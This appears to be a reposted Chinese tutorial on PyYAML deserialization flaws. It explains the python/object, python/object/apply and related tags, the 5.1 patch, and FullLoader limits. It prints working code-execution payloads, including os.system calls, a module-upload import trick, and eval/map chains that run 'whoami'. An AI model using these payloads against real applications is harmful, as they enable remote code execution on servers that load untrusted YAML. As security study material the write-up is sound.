PyYAML反序列化漏洞 您所在的位置:网站首页 python构造poc PyYAML反序列化漏洞

PyYAML反序列化漏洞

#PyYAML反序列化漏洞| 来源: 网络整理| 查看: 265

PyYAML反序列化漏洞

关于yaml的基本知识可以到菜鸟教程学习

yaml语言我老是在docker-compsoe.yml见到它,像这样

version: '2' services: web: build: . ports: - "8000:8000" volumes: - ./app.py:/usr/src/app.py

下面就开始简单认识一下这个玩意儿,以及其中的反序列化漏洞利用

yaml的基本语法

大小写敏感

使用空格代替tab键缩进表示层级,对齐即可表示同级

'#'注释内容

在同一个yml文件中用------隔开多份配置

!!表示强制类型转换

yaml的数据类型 YAML 对象

键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)

对象键值对使用冒号结构表示 key: value,冒号后面要加一个空格(这类用":"分隔的数据转化为python格式就是字典):

key: child-key: value child-key2: value2 YAML 数组

一组按次序排列的值,又称为序列(sequence) / 列表(list)

以 - 开头的行表示构成一个数组("-"后携带的数据转化为python格式就是列表):

- A - B - C YAML 纯量

单个的、不可再分的值

字符串、布尔值、整数、浮点数、Null、时间、日期

boolean: - TRUE #true,True都可以 - FALSE #false,False都可以 float: - 3.14 - 6.8523015e+5 #可以使用科学计数法 int: - 123 - 0b1010_0111_0100_1010_1110 #二进制表示 null: nodeName: 'node' parent: ~ #使用~表示null string: - 哈哈 - 'Hello world' #可以使用双引号或者单引号包裹特殊字符 - newline newline2 #字符串可以拆成多行,每一行会被转化成一个空格 date: - 2018-02-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd datetime: - 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区 强制类型转换

yaml本身支持强制类型转化

用特有的yaml标签来指定转化的类型

像强制转化为str类型就是!!str

如下

str: !!str 321 int: !!int "123"

结果

{'int': 123,'str': '321'}

原本整数类型的321被转换为str类型,字符串类型的123被转换为int类型

pyyaml下支持所有yaml标签转化为python对应类型:

image-20220909151303452

最后有五个功能强大的yaml标签,支持转化为指定的python模块,类,方法以及对象实例

!!python/name:module.name module.name !!python/module:package.module package.module !!python/object:module.cls module.cls instance !!python/object/new:module.cls module.cls instance !!python/object/apply:module.f value of f(...) Pyyaml yaml

load(data)#加载单个 YAML 配置

load(data, Loader=yaml.Loader)#指定加载器有BaseLoader、SafeLoader

load_all(data)#加载多个 YAML 配置

load_all(data, Loader=yaml.Loader)#指定加载器

yaml.load()方法的作用是将yaml类型数据转化为python对象包括自定义的对象实例、字典、列表等类型数据

Loader就是用来指定加载器

BaseConstructor:最最基础的构造器,不支持强制类型转换

SafeConstructor:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改

Constructor:在 YAML 规范上新增了很多强制类型转换(5.1以下默认此加载器,很危险)

接收的data参数可以是yaml格式的字串、Unicode字符串、二进制文件对象或者打开的文本文件对象

yaml -> python

yaml.dump(data)

dump接收的参数就是python对象包括对象实例、字典、列表等类型数据

dump后python的对象实例转化最终是变成一串yaml格式的字符,所以这种情况我们愿称之为序列化,反之load就是在反序列化

五个complex标签的认识及利用 !!python/object/apply

通过调试,进入yaml模块源码yaml/constructor.py中,找到!!python/object/apply标签的处理函数,construct_python_object_apply,如下:

def construct_python_object_apply(self, suffix, node, newobj=False): # Format: # !!python/object/apply # (or !!python/object/new) # args: [ ... arguments ... ] # kwds: { ... keywords ... } # state: ... state ... # listitems: [ ... listitems ... ] # dictitems: { ... dictitems ... } # or short format: # !!python/object/apply [ ... arguments ... ] # The difference between !!python/object/apply and !!python/object/new # is how an object is created, check make_python_instance for details. if isinstance(node, SequenceNode): args = self.construct_sequence(node, deep=True) kwds = {} state = {} listitems = [] dictitems = {} else: value = self.construct_mapping(node, deep=True) args = value.get('args', []) kwds = value.get('kwds', {}) state = value.get('state', {}) listitems = value.get('listitems', []) dictitems = value.get('dictitems', {}) instance = self.make_python_instance(suffix, node, args, kwds, newobj) if state: self.set_python_instance_state(instance, state) if listitems: instance.extend(listitems) if dictitems: for key in dictitems: instance[key] = dictitems[key] return instance

然后会调用make_python_instance方法

image-20220902172310225

又进入了find_python_name方法,通过__import__将模块导入进来

image-20220902172212555

经过测试,针对!!python/object/apply标签的payload如下 yaml.load("!!python/object/apply:os.system [calc.exe]")# 命令的单双引号加不加都可以 yaml.load(""" !!python/object/apply:os.system - calc.exe """) yaml.load(""" !!python/object/apply:os.system args: ["calc.exe"] """) !!python/object/new

constructor.py中也能找到处理函数

def construct_python_object_new(self, suffix, node): return self.construct_python_object_apply(suffix, node, newobj=True)

从代码可以看出!!python/object/new标签最终也是调用construct_python_object_apply方法

尽管newobj的值是Ture,但是在测试之后发现并不影响利用

原理跟上面一样,最终进入了find_python_name方法,通过__import__将模块导入进来

针对 !!python/object/new标签的payload如下: yaml.load("!!python/object/new:os.system [calc.exe]")# 命令的单双引号加不加都可以 yaml.load(""" !!python/object/new:os.system - calc.exe """) yaml.load(""" !!python/object/new:os.system args: ["calc.exe"] """) !!python/object

constructor.py中也能找到!!python/object标签的处理函数:

def construct_python_object(self, suffix, node): # Format: # !!python/object:module.name { ... state ... } instance = self.make_python_instance(suffix, node, newobj=True) yield instance deep = hasattr(instance, '__setstate__') state = self.construct_mapping(node, deep=deep) self.set_python_instance_state(instance, state)

可以看到也是调用了make_python_instance方法

但是有一个致命问题就是没有像前面的调用一样,把命令作为参数传进去

image-20220913101849337

在这里参数为空,命令就无法执行

!!python/module

该标签在constructor.py中处理函数

def construct_python_module(self, suffix, node): value = self.construct_scalar(node) if value: raise ConstructorError("while constructing a Python module", node.start_mark, "expected the empty value, but found %r" % value, node.start_mark) return self.find_python_module(suffix, node.start_mark)

这里调用了find_python_module方法,跟find_python_name方法很像,返回的结果是模块名而已

def find_python_module(self, name, mark): if not name: raise ConstructorError("while constructing a Python module", mark, "expected non-empty name appended to the tag", mark) try: __import__(name) except ImportError as exc: raise ConstructorError("while constructing a Python module", mark, "cannot find module %r (%s)" % (name, exc), mark) return sys.modules[name]

这里没有任何可以对命令参数处理的地方,跟上一个其实差不多

!!python/name

该标签在constructor.py中处理函数

def construct_python_name(self, suffix, node): value = self.construct_scalar(node) if value: raise ConstructorError("while constructing a Python name", node.start_mark, "expected the empty value, but found %r" % value, node.start_mark) return self.find_python_name(suffix, node.start_mark)

这里也是跟!!python/module一样陷入窘境

针对上面

!!python/name:module.name module.name !!python/module:package.module package.module !!python/object:module.cls module.cls instance

这三个不能直接执行命令的标签,条件允许其实有其他办法

原理

利用现有文件上传或者写文件的功能,传入一个写入命令执行代码的文件

将文件名写入标签中,当该标签被反序列化时,就可以顺利导入该文件作为模块,执行当中的命令

利用方式

文件名yaml_test.py

import os os.system('mate-calc')

如果在另一文件simple.py中,依次运行以下load代码

import yaml yaml.load("!!python/module:yaml_test" ) #exp方法是随意写的,是不存在的,但必须要有,因为这是命名规则,不然会报错,主要是文件名yaml_test要写对 yaml.load("!!python/object:yaml_test.exp" ) yaml.load("!!python/name:yaml_test.exp" )

都能成功弹出计算器

当然!!python/object/new和 !!python/object/apply也可以用这种方式实现利用

yaml.load('!!python/object/apply:yaml_test.exp {}' ) yaml.load('!!python/object/new:yaml_test.exp {}' )

以上要求是在同一目录下

如果不在同一目录下怎么办

好比如这种情况

├── simple.py └── uploads └── yaml_test.py

那payload稍作修改,在文件名前加入目录名可

#经过测试只有modle标签可行 yaml.load("!!python/module:uploads.yaml_test" )

当然文件名写成__init__.py将会更简单

payload只需目录即可

而且apply和new两个标签也可以构造利用了

yaml.load("!!python/module:uploads" ) #exp表示着类实例,可以写成其他,虽不存在但是一定要有,否则报错 yaml.load('!!python/object/apply:uploads.exp {}' ) yaml.load('!!python/object/new:uploads.exp {}' ) 漏洞的修复

大于5.1的版本,打了补丁

通过调试发现

find_python_name方法(还有find_python_mdule方法也一样)增加了一个默认unsafe为false的值

就无法直接__import__,最终会报错

def find_python_name(self, name, mark, unsafe=False): if not name: raise ConstructorError("while constructing a Python object", mark, "expected non-empty name appended to the tag", mark) if u'.' in name: module_name, object_name = name.rsplit('.', 1) else: module_name = '__builtin__' object_name = name if unsafe: try: __import__(module_name) except ImportError, exc: raise ConstructorError("while constructing a Python object", mark, "cannot find module %r (%s)" % (module_name.encode('utf-8'), exc), mark) //这里查看是不是在sys.moudles字典里,不是就会进入直接报错 if module_name not in sys.modules: raise ConstructorError("while constructing a Python object", mark, "module %r is not imported" % module_name.encode('utf-8'), mark) module = sys.modules[module_name] if not hasattr(module, object_name): raise ConstructorError("while constructing a Python object", mark, "cannot find %r in the module %r" % (object_name.encode('utf-8'), module.__name__), mark) return getattr(module, object_name)

接下来执行这一段

if not (unsafe or isinstance(cls, type) or isinstance(cls, type(self.classobj))): raise ConstructorError("while constructing a Python instance", node.start_mark, "expected a class, but found %r" % type(cls), node.start_mark) PyYAML >5.1

在PyYAML>=5.1版本中,提供了以下方法用于加载yaml语言:

load(data) [works under certain conditions]

load(data, Loader=yaml.Loader) #loader可选择BaseLoader、SafeLoader、FullLoader、UnsafeLoader

load_all(data) [works under certain condition]

load_all(data, Loader=yaml.Loader) #loader可选择BaseLoader、SafeLoader、FullLoader、UnsafeLoader

full_load(data)

full_load_all(data)

unsafe_load(data)

unsafe_load_all(data)

在5.1之后的yaml中load函数被限制使用了,会被警告提醒加上一个参数 Loader

1.py:3: YAMLLoadWarning: calling yaml.load() without Loader=... is deprecated, as the default Loader is unsafe. Please read https://msg.pyyaml.org/load for full details.

针对不同的需要,选择不同的加载器,有以下几种加载器

BaseConstructor:仅加载最基本的YAML

SafeConstructor:安全加载Yaml语言的子集,建议用于加载不受信任的输入(safe_load)

FullConstructor:加载的模块必须位于 sys.modules 中(说明程序已经 import 过了才让加载)。这个是默认的加载器。

UnsafeConstructor(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)

Constructor:等同于UnsafeConstructor

如果说指定的加载器是UnsafeConstructor 或者Constructor,那么利用方式就照旧

Fullloader加载模式的对漏洞利用的限制

如果不执行只是为了单纯导入模块,那么需要sys.modules字典中有我们的模块,否则报错

报错内容:yaml.constructor.ConstructorError: while constructing a Python object module 'subprocess' is not imported

例如

如果要执行,那么sys.modules字典中要有利用模块,并且加载进来的 module.name 必须是一个类而不能是方法,否则就会报错

报错内容:yaml.constructor.ConstructorError: while constructing a Python instance expected a class, but found

认识builtins模块

builtins是python的内建模块,所谓内建模块就是你在使用时不需要import,在python启 动后,在没有执行程序员编写的任何代码前,python会加载内建模块中的函数到内存中。

而且我发现在find_python_name处理不带.,也就是module为空的情况下,自动默认module为builtins,并且该模块是在sys.modules中的

image-20220915110708519

用下面程序可以看看该模块下有哪些成员

import builtins def print_all(module_): modulelist = dir(module_) length = len(modulelist) for i in range(0,length,1): print (getattr(module_,modulelist[i])) print_all(builtins) image-20220915114800485

有足足153个,稍改一下程序排除掉方法,筛选出类成员

ArithmeticError,AssertionError,AttributeError,BaseException,BlockingIOError,BrokenPipeError,BufferError,BytesWarning,ChildProcessError,ConnectionAbortedError,ConnectionError,ConnectionRefusedError,ConnectionResetError,DeprecationWarning,EOFError,OSError,Exception,FileExistsError,FileNotFoundError,FloatingPointError,FutureWarning,GeneratorExit,OSError,ImportError,ImportWarning,IndentationError,IndexError,InterruptedError,IsADirectoryError,KeyError,KeyboardInterrupt,LookupError,MemoryError,ModuleNotFoundError,NameError,NotADirectoryError,NotImplementedError,OSError,OverflowError,PendingDeprecationWarning,PermissionError,ProcessLookupError,RecursionError,ReferenceError,ResourceWarning,RuntimeError,RuntimeWarning,StopAsyncIteration,StopIteration,SyntaxError,SyntaxWarning,SystemError,SystemExit,TabError,TimeoutError,TypeError,UnboundLocalError,UnicodeDecodeError,UnicodeEncodeError,UnicodeError,UnicodeTranslateError,UnicodeWarning,UserWarning,ValueError,Warning,OSError,ZeroDivisionError,_frozen_importlib.BuiltinImporter,bool,bytearray,bytes,classmethod,complex,dict,enumerate,filter,float,frozenset,int,list,map,memoryview,object,property,range,reversed,set,slice,staticmethod,str,super,tuple,type,zip payload

我们可以用python的内置函数eval(或者exec)来执行代码,用map来触发函数执行,用tuple将map对象转化为元组输出来(当然用list、frozenset、bytes都可以),用python写出来如下

tuple(map(eval, ["__import__('os').system('whoami')"]))

变为yaml

yaml.load(""" !!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - ["__import__('os').system('whoami')"] """)

除此之外网上还有很多大佬有其他的payload

#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数 !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "__import__('os').system('whoami')" #报错但是执行了 - !!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('whoami')" - !!python/object/new:staticmethod args: [0] state: update: !!python/name:exec - !!python/object/new:yaml.MappingNode listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]' state: tag: !!str dummy value: !!str dummy extend: !!python/name:yaml.unsafe_load 局限

我经过测试pyyaml到5.4之后,上面的payload基本用不了

参考文章

SecMap - 反序列化(PyYAML) - Tr0y's Blog



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有